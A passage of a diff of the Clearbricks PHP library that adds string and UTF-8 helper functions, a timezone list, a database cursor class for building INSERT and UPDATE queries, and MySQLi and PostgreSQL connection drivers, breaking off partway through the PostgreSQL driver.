$str = preg_replace('/[^A-Za-z0-9_\s\'\:\/[\]-]/', '', $str);
return self::tidyURL($str, $with_slashes);
}
/**
* URL cleanup
*
* @param string $str URL to tidy
* @param bool $keep_slashes Keep slashes in URL
* @param bool $keep_spaces Keep spaces in URL
*
* @return string
*/
public static function tidyURL(string $str, bool $keep_slashes = true, bool $keep_spaces = false): string
{
$str = strip_tags($str);
$str = str_replace(['?', '&', '#', '=', '+', '<', '>', '"', '%'], '', $str);
$str = str_replace("'", ' ', $str);
$str = preg_replace('/[\s]+/u', ' ', trim($str));
if (!$keep_slashes) {
$str = str_replace('/', '-', $str);
}
if (!$keep_spaces) {
$str = str_replace(' ', '-', $str);
}
$str = preg_replace('/\-+/', '-', $str);
# Remove path changes in URL
$str = preg_replace('%^/%', '', $str);
$str = preg_replace('%\.+/%', '', $str);
return $str;
}
/**
* Cut string
*
* Returns a cuted string on spaced at given length $l.
*
* @param string $str String to cut
* @param integer $length Length to keep
*
* @return string
*/
public static function cutString(string $str, int $length): string
{
$s = preg_split('/([\s]+)/u', $str, -1, PREG_SPLIT_DELIM_CAPTURE);
$res = '';
$L = 0;
if (mb_strlen($s[0]) >= $length) {
return mb_substr($s[0], 0, $length);
}
foreach ($s as $v) {
$L = $L + mb_strlen($v);
if ($L > $length) {
break;
}
$res .= $v;
}
return trim($res);
}
/**
* Split words
*
* Returns an array of words from a given string.
*
* @param string $str Words to split
*
* @return array
*/
public static function splitWords(string $str): array
{
$non_word = '\x{0000}-\x{002F}\x{003A}-\x{0040}\x{005b}-\x{0060}\x{007B}-\x{007E}\x{00A0}-\x{00BF}\s';
if (preg_match_all('/([^' . $non_word . ']{3,})/msu', html::clean($str), $match)) {
foreach ($match[1] as $i => $v) {
$match[1][$i] = mb_strtolower($v);
}
return $match[1];
}
return [];
}
/**
* Encoding detection
*
* Returns the encoding (in lowercase) of given $str.
*
* @param string $str String
*
* @return string
*/
public static function detectEncoding(string $str): string
{
return strtolower((string) mb_detect_encoding(
$str,
[
'UTF-8',
'ISO-8859-1',
'ISO-8859-2',
'ISO-8859-3',
'ISO-8859-4',
'ISO-8859-5',
'ISO-8859-6',
'ISO-8859-7',
'ISO-8859-8',
'ISO-8859-9',
'ISO-8859-10',
'ISO-8859-13',
'ISO-8859-14',
'ISO-8859-15',
]
));
}
/**
* UTF8 conversions
*
* Returns an UTF-8 converted string. If $encoding is not specified, the
* function will try to detect encoding.
*
* @param string $str String to convert
* @param string $encoding Optionnal "from" encoding
*
* @return string
*/
public static function toUTF8(string $str, ?string $encoding = null): string
{
if (!$encoding) {
$encoding = self::detectEncoding($str);
}
if ($encoding !== 'utf-8') {
$str = iconv($encoding, 'UTF-8', $str);
}
return $str;
}
/**
* Find bad UTF8 tokens
*
* Locates the first bad byte in a UTF-8 string returning it's
* byte index in the string
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
*
* @copyright Harry Fuecks (http://phputf8.sourceforge.net <a href="http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html">GNU LGPL 2.1</a>)
*
* @param string $str String to search
*
* @return integer|false
*/
public static function utf8badFind(string $str)
{
$UTF8_BAD = '([\x00-\x7F]' . # ASCII (including control chars)
'|[\xC2-\xDF][\x80-\xBF]' . # non-overlong 2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]' . # excluding overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}' . # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]' . # excluding surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}' . # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}' . # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}' . # plane 16
'|(.{1}))'; # invalid byte
$pos = 0;
while (preg_match('/' . $UTF8_BAD . '/S', $str, $matches)) {
$bytes = strlen($matches[0]);
if (isset($matches[2])) {
return $pos;
}
$pos += $bytes;
$str = substr($str, $bytes);
}
return false;
}
/**
* UTF-8 cleanup
*
* Replaces non UTF-8 bytes in $str by $repl.
*
* @copyright Harry Fuecks (http://phputf8.sourceforge.net <a href="http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html">GNU LGPL 2.1</a>)
*
* @param string $str String to clean
* @param string $repl Replacement string
*
* @return string
*/
public static function cleanUTF8(string $str, string $repl = '?'): string
{
while (($bad_index = self::utf8badFind($str)) !== false) {
$str = substr_replace($str, $repl, $bad_index, 1);
}
return $str;
}
/**
* BOM removal (UTF-8 only)
*
* Removes BOM from the begining of a string if present.
*
* @param string $str String to clean
*
* @return string
*/
public static function removeBOM(string $str): string
{
if (substr_count($str, "\xEF\xBB\xBF")) {
return str_replace("\xEF\xBB\xBF", '', $str);
}
return $str;
}
/**
* Quoted printable conversion
*
* Encodes given str to quoted printable
*
* @param string $str String to encode
*
* @return string
*/
public static function QPEncode(string $str): string
{
$res = '';
foreach (preg_split("/\r?\n/msu", $str) as $line) {
$l = '';
preg_match_all('/./', $line, $m);
foreach ($m[0] as $c) {
$a = ord($c);
if ($a < 32 || $a == 61 || $a > 126) {
$c = sprintf('=%02X', $a);
}
$l .= $c;
}
$res .= $l . "\r\n";
}
return $res;
}
}

407
inc/helper/common/tz.dat Normal file
View file

@ -0,0 +1,407 @@
Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmera
Africa/Bamako
Africa/Bangui
Africa/Banjul
Africa/Bissau
Africa/Blantyre
Africa/Brazzaville
Africa/Bujumbura
Africa/Cairo
Africa/Casablanca
Africa/Ceuta
Africa/Conakry
Africa/Dakar
Africa/Dar_es_Salaam
Africa/Djibouti
Africa/Douala
Africa/El_Aaiun
Africa/Freetown
Africa/Gaborone
Africa/Harare
Africa/Johannesburg
Africa/Kampala
Africa/Khartoum
Africa/Kigali
Africa/Kinshasa
Africa/Lagos
Africa/Libreville
Africa/Lome
Africa/Luanda
Africa/Lubumbashi
Africa/Lusaka
Africa/Malabo
Africa/Maputo
Africa/Maseru
Africa/Mbabane
Africa/Mogadishu
Africa/Monrovia
Africa/Nairobi
Africa/Ndjamena
Africa/Niamey
Africa/Nouakchott
Africa/Ouagadougou
Africa/Porto-Novo
Africa/Sao_Tome
Africa/Timbuktu
Africa/Tripoli
Africa/Tunis
Africa/Windhoek
America/Adak
America/Anchorage
America/Anguilla
America/Antigua
America/Araguaina
America/Argentina/Buenos_Aires
America/Argentina/Catamarca
America/Argentina/ComodRivadavia
America/Argentina/Cordoba
America/Argentina/Jujuy
America/Argentina/La_Rioja
America/Argentina/Mendoza
America/Argentina/Rio_Gallegos
America/Argentina/San_Juan
America/Argentina/Tucuman
America/Argentina/Ushuaia
America/Aruba
America/Asuncion
America/Bahia
America/Barbados
America/Belem
America/Belize
America/Boa_Vista
America/Bogota
America/Boise
America/Cambridge_Bay
America/Campo_Grande
America/Cancun
America/Caracas
America/Cayenne
America/Cayman
America/Chicago
America/Chihuahua
America/Costa_Rica
America/Cuiaba
America/Curacao
America/Danmarkshavn
America/Dawson
America/Dawson_Creek
America/Denver
America/Detroit
America/Dominica
America/Edmonton
America/Eirunepe
America/El_Salvador
America/Fortaleza
America/Glace_Bay
America/Godthab
America/Goose_Bay
America/Grand_Turk
America/Grenada
America/Guadeloupe
America/Guatemala
America/Guayaquil
America/Guyana
America/Halifax
America/Havana
America/Hermosillo
America/Indiana/Indianapolis
America/Indiana/Knox
America/Indiana/Marengo
America/Indiana/Vevay
America/Indianapolis
America/Inuvik
America/Iqaluit
America/Jamaica
America/Juneau
America/Kentucky/Louisville
America/Kentucky/Monticello
America/La_Paz
America/Lima
America/Los_Angeles
America/Louisville
America/Maceio
America/Managua
America/Manaus
America/Martinique
America/Mazatlan
America/Menominee
America/Merida
America/Mexico_City
America/Miquelon
America/Monterrey
America/Montevideo
America/Montreal
America/Montserrat
America/Nassau
America/New_York
America/Nipigon
America/Nome
America/Noronha
America/North_Dakota/Center
America/Panama
America/Pangnirtung
America/Paramaribo
America/Phoenix
America/Port-au-Prince
America/Port_of_Spain
America/Porto_Velho
America/Puerto_Rico
America/Rainy_River
America/Rankin_Inlet
America/Recife
America/Regina
America/Rio_Branco
America/Santiago
America/Santo_Domingo
America/Sao_Paulo
America/Scoresbysund
America/Shiprock
America/St_Johns
America/St_Kitts
America/St_Lucia
America/St_Thomas
America/St_Vincent
America/Swift_Current
America/Tegucigalpa
America/Thule
America/Thunder_Bay
America/Tijuana
America/Toronto
America/Tortola
America/Vancouver
America/Whitehorse
America/Winnipeg
America/Yakutat
America/Yellowknife
Antarctica/Casey
Antarctica/Davis
Antarctica/DumontDUrville
Antarctica/Mawson
Antarctica/McMurdo
Antarctica/Palmer
Antarctica/Rothera
Antarctica/South_Pole
Antarctica/Syowa
Antarctica/Vostok
Arctic/Longyearbyen
Asia/Aden
Asia/Almaty
Asia/Amman
Asia/Anadyr
Asia/Aqtau
Asia/Aqtobe
Asia/Ashgabat
Asia/Baghdad
Asia/Bahrain
Asia/Baku
Asia/Bangkok
Asia/Beirut
Asia/Bishkek
Asia/Brunei
Asia/Calcutta
Asia/Choibalsan
Asia/Chongqing
Asia/Colombo
Asia/Damascus
Asia/Dhaka
Asia/Dili
Asia/Dubai
Asia/Dushanbe
Asia/Gaza
Asia/Harbin
Asia/Hong_Kong
Asia/Hovd
Asia/Irkutsk
Asia/Istanbul
Asia/Jakarta
Asia/Jayapura
Asia/Jerusalem
Asia/Kabul
Asia/Kamchatka
Asia/Karachi
Asia/Kashgar
Asia/Katmandu
Asia/Krasnoyarsk
Asia/Kuala_Lumpur
Asia/Kuching
Asia/Kuwait
Asia/Macau
Asia/Magadan
Asia/Makassar
Asia/Manila
Asia/Muscat
Asia/Nicosia
Asia/Novosibirsk
Asia/Omsk
Asia/Oral
Asia/Phnom_Penh
Asia/Pontianak
Asia/Pyongyang
Asia/Qatar
Asia/Qyzylorda
Asia/Rangoon
Asia/Riyadh
Asia/Saigon
Asia/Sakhalin
Asia/Samarkand
Asia/Seoul
Asia/Shanghai
Asia/Singapore
Asia/Taipei
Asia/Tashkent
Asia/Tbilisi
Asia/Tehran
Asia/Thimphu
Asia/Tokyo
Asia/Ulaanbaatar
Asia/Urumqi
Asia/Vientiane
Asia/Vladivostok
Asia/Yakutsk
Asia/Yekaterinburg
Asia/Yerevan
Atlantic/Azores
Atlantic/Bermuda
Atlantic/Canary
Atlantic/Cape_Verde
Atlantic/Faeroe
Atlantic/Jan_Mayen
Atlantic/Madeira
Atlantic/Reykjavik
Atlantic/South_Georgia
Atlantic/St_Helena
Atlantic/Stanley
Australia/Adelaide
Australia/Brisbane
Australia/Broken_Hill
Australia/Darwin
Australia/Hobart
Australia/Lindeman
Australia/Lord_Howe
Australia/Melbourne
Australia/Perth
Australia/Sydney
Europe/Amsterdam
Europe/Andorra
Europe/Athens
Europe/Belfast
Europe/Belgrade
Europe/Berlin
Europe/Bratislava
Europe/Brussels
Europe/Bucharest
Europe/Budapest
Europe/Chisinau
Europe/Copenhagen
Europe/Dublin
Europe/Gibraltar
Europe/Helsinki
Europe/Istanbul
Europe/Kaliningrad
Europe/Kiev
Europe/Lisbon
Europe/Ljubljana
Europe/London
Europe/Luxembourg
Europe/Madrid
Europe/Malta
Europe/Mariehamn
Europe/Minsk
Europe/Monaco
Europe/Moscow
Europe/Nicosia
Europe/Oslo
Europe/Paris
Europe/Prague
Europe/Riga
Europe/Rome
Europe/Samara
Europe/San_Marino
Europe/Sarajevo
Europe/Simferopol
Europe/Skopje
Europe/Sofia
Europe/Stockholm
Europe/Tallinn
Europe/Tirane
Europe/Uzhgorod
Europe/Vaduz
Europe/Vatican
Europe/Vienna
Europe/Vilnius
Europe/Warsaw
Europe/Zagreb
Europe/Zaporozhye
Europe/Zurich
Indian/Antananarivo
Indian/Chagos
Indian/Christmas
Indian/Cocos
Indian/Comoro
Indian/Kerguelen
Indian/Mahe
Indian/Maldives
Indian/Mauritius
Indian/Mayotte
Indian/Reunion
Pacific/Apia
Pacific/Auckland
Pacific/Chatham
Pacific/Easter
Pacific/Efate
Pacific/Enderbury
Pacific/Fakaofo
Pacific/Fiji
Pacific/Funafuti
Pacific/Galapagos
Pacific/Gambier
Pacific/Guadalcanal
Pacific/Guam
Pacific/Honolulu
Pacific/Johnston
Pacific/Kiritimati
Pacific/Kosrae
Pacific/Kwajalein
Pacific/Majuro
Pacific/Marquesas
Pacific/Midway
Pacific/Nauru
Pacific/Niue
Pacific/Norfolk
Pacific/Noumea
Pacific/Pago_Pago
Pacific/Palau
Pacific/Pitcairn
Pacific/Ponape
Pacific/Port_Moresby
Pacific/Rarotonga
Pacific/Saipan
Pacific/Tahiti
Pacific/Tarawa
Pacific/Tongatapu
Pacific/Truk
Pacific/Wake
Pacific/Wallis
Pacific/Yap

View file

@ -0,0 +1,260 @@
<?php
/**
* @class cursor
* @brief DBLayer Cursor
*
* This class implements facilities to insert or update in a table.
*
* @package Clearbricks
* @subpackage DBLayer
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class cursor
{
/**
* @var dbLayer
*/
private $__con;
/**
* @var array
*/
private $__data = [];
/**
* @var string
*/
private $__table;
/**
* Constructor
*
* Init cursor object on a given table. Note that you can init it with
* {@link dbLayer::openCursor() openCursor()} method of your connection object.
*
* Example:
* <code>
* <?php
* $cur = $con->openCursor('table');
* $cur->field1 = 1;
* $cur->field2 = 'foo';
* $cur->insert(); // Insert field ...
*
* $cur->update('WHERE field3 = 4'); // ... or update field
* ?>
* </code>
*
* @see dbLayer::openCursor()
*
* @param dbLayer $con Connection object
* @param string $table Table name
*/
public function __construct(dbLayer $con, string $table)
{
$this->__con = &$con;
$this->setTable($table);
}
/**
* Set table
*
* Changes working table and resets data
*
* @param string $table Table name
*/
public function setTable(string $table): void
{
$this->__table = $table;
$this->__data = [];
}
/**
* Set field
*
* Set value <var>$value</var> to a field named <var>$name</var>. Value could be
* an string, an integer, a float, a null value or an array.
*
* If value is an array, its first value will be interpreted as a SQL
* command. String values will be automatically escaped.
*
* @see __set()
*
* @param string $name Field name
* @param mixed $value Field value
*/
public function setField(string $name, $value): void
{
$this->__data[$name] = $value;
}
/**
* Unset field
*
* Remove a field from data set.
*
* @param string $name Field name
*/
public function unsetField(string $name): void
{
unset($this->__data[$name]);
}
/**
* Field exists
*
* @return boolean true if field named <var>$name</var> exists
*/
public function isField(string $name): bool
{
return isset($this->__data[$name]);
}
/**
* Field value
*
* @see __get()
*
* @return mixed value for a field named <var>$name</var>
*/
public function getField(string $name)
{
if (isset($this->__data[$name])) {
return $this->__data[$name];
}
}
/**
* Set Field
*
* Magic alias for {@link setField()}
*/
public function __set(string $name, $value): void
{
$this->setField($name, $value);
}
/**
* Field value
*
* Magic alias for {@link getField()}
*
* @return mixed value for a field named <var>$n</var>
*/
public function __get(string $name)
{
return $this->getField($name);
}
/**
* Empty data set
*
* Removes all data from data set
*/
public function clean(): void
{
$this->__data = [];
}
private function formatFields(): array
{
$data = [];
foreach ($this->__data as $k => $v) {
$k = $this->__con->escapeSystem($k);
if (is_null($v)) {
$data[$k] = 'NULL';
} elseif (is_string($v)) {
$data[$k] = "'" . $this->__con->escape($v) . "'";
} elseif (is_array($v)) {
$data[$k] = is_string($v[0]) ? "'" . $this->__con->escape($v[0]) . "'" : $v[0];
} else {
$data[$k] = $v;
}
}
return $data;
}
/**
* Get insert query
*
* Returns the generated INSERT query
*
* @return string
*/
public function getInsert(): string
{
$data = $this->formatFields();
return 'INSERT INTO ' . $this->__con->escapeSystem($this->__table) . " (\n" .
implode(",\n", array_keys($data)) . "\n) VALUES (\n" .
implode(",\n", array_values($data)) . "\n) ";
}
/**
* Get update query
*
* Returns the generated UPDATE query
*
* @param string $where WHERE condition
*
* @return string
*/
public function getUpdate(string $where): string
{
$data = $this->formatFields();
$fields = [];
$updReq = 'UPDATE ' . $this->__con->escapeSystem($this->__table) . " SET \n";
foreach ($data as $k => $v) {
$fields[] = $k . ' = ' . $v . '';
}
$updReq .= implode(",\n", $fields);
$updReq .= "\n" . $where;
return $updReq;
}
/**
* Execute insert query
*
* Executes the generated INSERT query
*/
public function insert(): bool
{
if (!$this->__table) {
throw new Exception('No table name.');
}
$insReq = $this->getInsert();
$this->__con->execute($insReq);
return true;
}
/**
* Execute update query
*
* Executes the generated UPDATE query
*
* @param string $where WHERE condition
*/
public function update(string $where): bool
{
if (!$this->__table) {
throw new Exception('No table name.');
}
$updReq = $this->getUpdate($where);
$this->__con->execute($updReq);
return true;
}
}

View file

@ -0,0 +1,486 @@
<?php
/**
* @class mysqliConnection
* @brief MySQLi Database Driver
*
* See the {@link dbLayer} documentation for common methods.
*
* @package Clearbricks
* @subpackage DBLayer
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class mysqliConnection extends dbLayer implements i_dbLayer
{
/**
* Enables weak locks if true
*
* @var bool
*/
public static $weak_locks = true;
/**
* Driver name
*
* @var string
*/
protected $__driver = 'mysqli';
/**
* SQL Syntax supported
*
* @var string
*/
protected $__syntax = 'mysql';
/**
* Open a DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @throws Exception
*
* @return mixed
*/
public function db_connect(string $host, string $user, string $password, string $database)
{
if (!function_exists('mysqli_connect')) {
throw new Exception('PHP MySQLi functions are not available');
}
$port = abs((int) ini_get('mysqli.default_port'));
$socket = '';
if (strpos($host, ':') !== false) {
// Port or socket given
$bits = explode(':', $host);
$host = array_shift($bits);
$socket = array_shift($bits);
if (abs((int) $socket) > 0) {
// TCP/IP connection on given port
$port = abs((int) $socket);
$socket = '';
} else {
// Socket connection
$port = 0;
}
}
if (($link = @mysqli_connect($host, $user, $password, $database, $port, $socket)) === false) {
throw new Exception('Unable to connect to database');
}
$this->db_post_connect($link);
return $link;
}
/**
* Open a persistant DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @return mixed
*/
public function db_pconnect(string $host, string $user, string $password, string $database)
{
// No pconnect wtih mysqli, below code is for comatibility
return $this->db_connect($host, $user, $password, $database);
}
/**
* Post connection helper
*
* @param mixed $handle The DB handle
*/
private function db_post_connect($handle)
{
if (version_compare($this->db_version($handle), '4.1', '>=')) {
$this->db_query($handle, 'SET NAMES utf8');
$this->db_query($handle, 'SET CHARACTER SET utf8');
$this->db_query($handle, "SET COLLATION_CONNECTION = 'utf8_general_ci'");
$this->db_query($handle, "SET COLLATION_SERVER = 'utf8_general_ci'");
$this->db_query($handle, "SET CHARACTER_SET_SERVER = 'utf8'");
if (version_compare($this->db_version($handle), '8.0', '<')) {
// Setting CHARACTER_SET_DATABASE is obosolete for MySQL 8.0+
$this->db_query($handle, "SET CHARACTER_SET_DATABASE = 'utf8'");
}
$handle->set_charset('utf8');
}
}
/**
* Close DB connection
*
* @param mixed $handle The DB handle
*/
public function db_close($handle)
{
if ($handle instanceof MySQLi) {
$handle->close();
}
}
/**
* Get DB version
*
* @param mixed $handle The handle
*
* @return string
*/
public function db_version($handle): string
{
if ($handle instanceof MySQLi) {
$v = $handle->server_version;
return sprintf('%s.%s.%s', ($v - ($v % 10000)) / 10000, ($v - ($v % 100)) % 10000 / 100, $v % 100);
}
return '';
}
/**
* Execute a DB query
*
* @param mixed $handle The handle
* @param string $query The query
*
* @throws Exception
*
* @return mixed
*/
public function db_query($handle, string $query)
{
if ($handle instanceof MySQLi) {
$res = @$handle->query($query);
if ($res === false) {
throw new Exception($this->db_last_error($handle));
}
return $res;
}
return null;
}
/**
* db_query() alias
*
* @param mixed $handle The handle
* @param string $query The query
*
* @return mixed
*/
public function db_exec($handle, string $query)
{
return $this->db_query($handle, $query);
}
/**
* Get number of fields in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_fields($res): int
{
return $res instanceof MySQLi_Result ? $res->field_count : 0;
}
/**
* Get number of rows in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_rows($res): int
{
return $res instanceof MySQLi_Result ? $res->num_rows : 0;
}
/**
* Get field name in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_name($res, int $position): string
{
if ($res instanceof MySQLi_Result) {
$res->field_seek($position);
$finfo = $res->fetch_field();
return $finfo->name; // @phpstan-ignore-line
}
return '';
}
/**
* Get field type in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_type($res, int $position): string
{
if ($res instanceof MySQLi_Result) {
$res->field_seek($position);
$finfo = $res->fetch_field();
return $this->_convert_types($finfo->type); // @phpstan-ignore-line
}
return '';
}
/**
* Fetch result data
*
* @param mixed $res The resource
*
* @return array|false
*/
public function db_fetch_assoc($res)
{
if ($res instanceof MySQLi_Result) {
$v = $res->fetch_assoc();
return ($v === null) ? false : $v;
}
return false;
}
/**
* Seek in result
*
* @param mixed $res The resource
* @param int $row The row
*
* @return bool
*/
public function db_result_seek($res, int $row): bool
{
return $res instanceof MySQLi_Result ? $res->data_seek($row) : false;
}
/**
* Get number of affected rows in last INSERT, DELETE or UPDATE query
*
* @param mixed $handle The DB handle
* @param mixed $res The resource
*
* @return int
*/
public function db_changes($handle, $res): int
{
return $handle instanceof MySQLi ? (int) $handle->affected_rows : 0;
}
/**
* Get last query error, if any
*
* @param mixed $handle The handle
*
* @return bool|string
*/
public function db_last_error($handle)
{
if ($handle instanceof MySQLi && ($e = $handle->error)) {
return $e . ' (' . $handle->errno . ')';
}
return false;
}
/**
* Escape a string (to be used in a SQL query)
*
* @param mixed $str The string
* @param mixed $handle The DB handle
*
* @return string
*/
public function db_escape_string($str, $handle = null): string
{
return $handle instanceof MySQLi ? $handle->real_escape_string((string) $str) : addslashes($str);
}
/**
* Locks a table
*
* @param string $table The table
*/
public function db_write_lock(string $table): void
{
try {
$this->execute('LOCK TABLES ' . $this->escapeSystem($table) . ' WRITE');
} catch (Exception $e) {
# As lock is a privilege in MySQL, we can avoid errors with weak_locks static var
if (!self::$weak_locks) {
throw $e;
}
}
}
/**
* Unlock tables
*/
public function db_unlock(): void
{
try {
$this->execute('UNLOCK TABLES');
} catch (Exception $e) {
if (!self::$weak_locks) {
throw $e;
}
}
}
/**
* Optimize a table
*
* @param string $table The table
*/
public function vacuum(string $table): void
{
$this->execute('OPTIMIZE TABLE ' . $this->escapeSystem($table));
}
/**
* Get a date to be used in SQL query
*
* @param string $field The field
* @param string $pattern The pattern
*
* @return string
*/
public function dateFormat(string $field, string $pattern): string
{
$pattern = str_replace('%M', '%i', $pattern);
return 'DATE_FORMAT(' . $field . ',' . "'" . $this->escape($pattern) . "') ";
}
/**
* Get an ORDER BY fragment to be used in a SQL query
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function orderBy(...$args): string
{
$default = [
'order' => '',
'collate' => false,
];
foreach ($args as $v) {
if (is_string($v)) {
$res[] = $v;
} elseif (is_array($v) && !empty($v['field'])) {
$v = array_merge($default, $v);
$v['order'] = (strtoupper($v['order']) == 'DESC' ? 'DESC' : '');
$res[] = $v['field'] . ($v['collate'] ? ' COLLATE utf8_unicode_ci' : '') . ' ' . $v['order'];
}
}
return empty($res) ? '' : ' ORDER BY ' . implode(',', $res) . ' ';
}
/**
* Get fields concerned by lexical sort
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function lexFields(...$args): string
{
$fmt = '%s COLLATE utf8_unicode_ci';
foreach ($args as $v) {
if (is_string($v)) {
$res[] = sprintf($fmt, $v);
} elseif (is_array($v)) {
$res = array_map(fn ($i) => sprintf($fmt, $i), $v);
}
}
return empty($res) ? '' : implode(',', $res);
}
/**
* Get a CONCAT fragment
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function concat(...$args): string
{
return 'CONCAT(' . implode(',', $args) . ')';
}
/**
* Escape a string
*
* @param string $str The string
*
* @return string
*/
public function escapeSystem(string $str): string
{
return '`' . $str . '`';
}
/**
* Get type label
*
* @param string $id The identifier
*
* @return string
*/
protected function _convert_types(string $id)
{
$id2type = [
'1' => 'int',
'2' => 'int',
'3' => 'int',
'8' => 'int',
'9' => 'int',
'16' => 'int', //BIT type recognized as unknown with mysql adapter
'4' => 'real',
'5' => 'real',
'246' => 'real',
'253' => 'string',
'254' => 'string',
'10' => 'date',
'11' => 'time',
'12' => 'datetime',
'13' => 'year',
'7' => 'timestamp',
'252' => 'blob',
];
return $id2type[$id] ?? 'unknown';
}
}

View file

@ -0,0 +1,157 @@
<?php
/**
* @class mysqlimb4Connection
* @brief MySQLi utf8-mb4 Database Driver
*
* See the {@link dbLayer} documentation for common methods.
*
* @package Clearbricks
* @subpackage DBLayer
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
/**
* Need to load parent class before extending it, may be use another technique in the future?
*/
require_once __DIR__ . '/class.mysqli.php';
class mysqlimb4Connection extends mysqliConnection
{
/**
* Driver name
*
* @var string
*/
protected $__driver = 'mysqlimb4';
/**
* Open a DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @throws Exception
*
* @return mixed
*/
public function db_connect(string $host, string $user, string $password, string $database)
{
if (!function_exists('mysqli_connect')) {
throw new Exception('PHP MySQLi functions are not available');
}
$port = abs((int) ini_get('mysqli.default_port'));
$socket = '';
if (strpos($host, ':') !== false) {
// Port or socket given
$bits = explode(':', $host);
$host = array_shift($bits);
$socket = array_shift($bits);
if (abs((int) $socket) > 0) {
// TCP/IP connection on given port
$port = abs((int) $socket);
$socket = '';
} else {
// Socket connection
$port = 0;
}
}
if (($link = @mysqli_connect($host, $user, $password, $database, $port, $socket)) === false) {
throw new Exception('Unable to connect to database');
}
$this->db_post_connect($link);
return $link;
}
/**
* Open a persistant DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @return mixed
*/
public function db_pconnect(string $host, string $user, string $password, string $database)
{
// No pconnect wtih mysqli, below code is for comatibility
return $this->db_connect($host, $user, $password, $database);
}
/**
* Post connection helper
*
* @param mixed $handle The DB handle
*/
private function db_post_connect($handle): void
{
if (version_compare($this->db_version($handle), '5.7.7', '>=')) {
$this->db_query($handle, 'SET NAMES utf8mb4');
$this->db_query($handle, 'SET CHARACTER SET utf8mb4');
$this->db_query($handle, "SET COLLATION_CONNECTION = 'utf8mb4_unicode_ci'");
$this->db_query($handle, "SET COLLATION_SERVER = 'utf8mb4_unicode_ci'");
$this->db_query($handle, "SET CHARACTER_SET_SERVER = 'utf8mb4'");
if (version_compare($this->db_version($handle), '8.0', '<')) {
// Setting CHARACTER_SET_DATABASE is obosolete for MySQL 8.0+
$this->db_query($handle, "SET CHARACTER_SET_DATABASE = 'utf8mb4'");
}
$handle->set_charset('utf8mb4');
} else {
throw new Exception('Unable to connect to an utf8mb4 database');
}
}
/**
* Get an ORDER BY fragment to be used in a SQL query
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function orderBy(...$args): string
{
$default = [
'order' => '',
'collate' => false,
];
foreach ($args as $v) {
if (is_string($v)) {
$res[] = $v;
} elseif (is_array($v) && !empty($v['field'])) {
$v = array_merge($default, $v);
$v['order'] = (strtoupper($v['order']) == 'DESC' ? 'DESC' : '');
$res[] = $v['field'] . ($v['collate'] ? ' COLLATE utf8mb4_unicode_ci' : '') . ' ' . $v['order'];
}
}
return empty($res) ? '' : ' ORDER BY ' . implode(',', $res) . ' ';
}
/**
* Get fields concerned by lexical sort
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function lexFields(...$args): string
{
$fmt = '%s COLLATE utf8mb4_unicode_ci';
foreach ($args as $v) {
if (is_string($v)) {
$res[] = sprintf($fmt, $v);
} elseif (is_array($v)) {
$res = array_map(fn ($i) => sprintf($fmt, $i), $v);
}
}
return empty($res) ? '' : implode(',', $res);
}
}

View file

@ -0,0 +1,488 @@
<?php
/**
* @class pgsqlConnection
* @brief PostgreSQL Database Driver
*
* See the {@link dbLayer} documentation for common methods.
*
* This class adds a method for PostgreSQL only: {@link callFunction()}.
*
* @package Clearbricks
* @subpackage DBLayer
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class pgsqlConnection extends dbLayer implements i_dbLayer
{
protected $__driver = 'pgsql';
protected $__syntax = 'postgresql';
protected $utf8_unicode_ci = null;
/**
* Gets the PostgreSQL connection string.
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @return string The connection string.
*/
private function get_connection_string(string $host, string $user, string $password, string $database): string
{
$str = '';
$port = false;
if ($host) {
if (strpos($host, ':') !== false) {
$bits = explode(':', $host);
$host = array_shift($bits);
$port = abs((int) array_shift($bits));
}
$str .= "host = '" . addslashes($host) . "' ";
if ($port) {
$str .= 'port = ' . $port . ' ';
}
}
if ($user) {
$str .= "user = '" . addslashes($user) . "' ";
}
if ($password) {
$str .= "password = '" . addslashes($password) . "' ";
}
if ($database) {
$str .= "dbname = '" . addslashes($database) . "' ";
}
return $str;
}
/**
* Open a DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @throws Exception
*
* @return mixed
*/
public function db_connect(string $host, string $user, string $password, string $database)
{
if (!function_exists('pg_connect')) {
throw new Exception('PHP PostgreSQL functions are not available');
}
$str = $this->get_connection_string($host, $user, $password, $database);
if (($link = @pg_connect($str)) === false) {
throw new Exception('Unable to connect to database');
}
$this->db_post_connect($link);
return $link;
}
/**
* Open a persistant DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @return mixed
*/
public function db_pconnect(string $host, string $user, string $password, string $database)
{
if (!function_exists('pg_pconnect')) {
throw new Exception('PHP PostgreSQL functions are not available');
}
$str = $this->get_connection_string($host, $user, $password, $database);
